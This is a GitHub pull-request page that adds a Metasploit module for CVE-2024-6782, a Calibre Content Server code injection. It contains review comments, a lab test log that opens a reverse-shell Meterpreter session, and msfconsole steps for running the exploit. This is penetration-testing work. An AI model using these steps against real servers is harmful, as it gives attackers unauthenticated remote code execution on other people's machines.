Calibre Python Code Injection (CVE-2024-6782) #19357
Merged
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
New Exploit Module for Calibre Python Code Injection (CVE-2024-6782)
Updated to work with v7.15 too.
|
Added support for v7.15. The original advisory only states that versions 6.9.0 ~ 7.14.0 are affected, but from the official changelog, we can see that a fix was only added with v7.16. |
dledda-r7
reviewed
Aug 2, 2024
There was a problem hiding this comment.
Hello @h4x-x0r, Thanks for your PR!
I've left some comments for you to evaluate.
Testing
Calibre 7.14.0 - Windows Server 2019
msf6 exploit(multi/misc/calibre_exec) > exploit
[*] Started reverse TCP handler on 192.168.136.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending payload...
[*] Sending stage (228422 bytes) to 192.168.136.130
[*] Meterpreter session 1 opened (192.168.136.128:4444 -> 192.168.136.130:49723) at 2024-08-02 10:05:10 -0400
[*] Exploit finished, check thy shell.
meterpreter >
meterpreter > sysinfo
Computer : WIN-JR5HP085VV3
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
Comment on lines
131
to
133
| if res && res.code == 200 | ||
| print_good('Command successfully executed, check your shell.') | ||
| end |
There was a problem hiding this comment.
I was thinking here to have an else branch to notify the user something went wrong.
There was a problem hiding this comment.
While testing different payloads - such as a simple calc execution, I did receive a 200 response. With payloads that take a little longer, such as the meterpreter ones, no response is received by the time the payload has executed and a shell has already been established, so I wasn't sure if a else branch is required.
There was a problem hiding this comment.
I've added a check in case a 400 response is returned - based on my tests, this seems to be the most common scenario other than a 200 response.
jvoisin
reviewed
Aug 2, 2024
Updated code for version detection and exploit invocation
|
Suggestion feature: add self-detection method for OS discovery |
Diffing the HTTP responses of a Calibre Content Server running on Windows and Linux, I didn't notice a specific string or similar that would indicate the OS that is being used. Is there a specific API or endpoint that can be queried to retrieve this information? Otherwise I'd just suggest to do the typical enumeration with nmap etc., and then set the target manually with |
|
|
Sorry about that; hit the wrong button! |
|
|
Release NotesAdds a module targeting CVE-2024-6782, an unauthenticated Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.14.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic. The injected payload will get executed in the same context under which Calibre is being executed. |
cgranleese-r7
added
module
rn-modules
|
Great, thank you! Not sure if there's any relevance to the labels, but perhaps the |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.14.0 (CVE-2024-6782). Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
Verification Steps
msfconsoleand enter the following commandsuse exploit/multi/misc/calibre_execset RHOSTS <IP>set LHOST <IP>exploitYou should get a meterpreter session running in the same context as the Calibre application.
Successfully tested on
Windows:
Linux: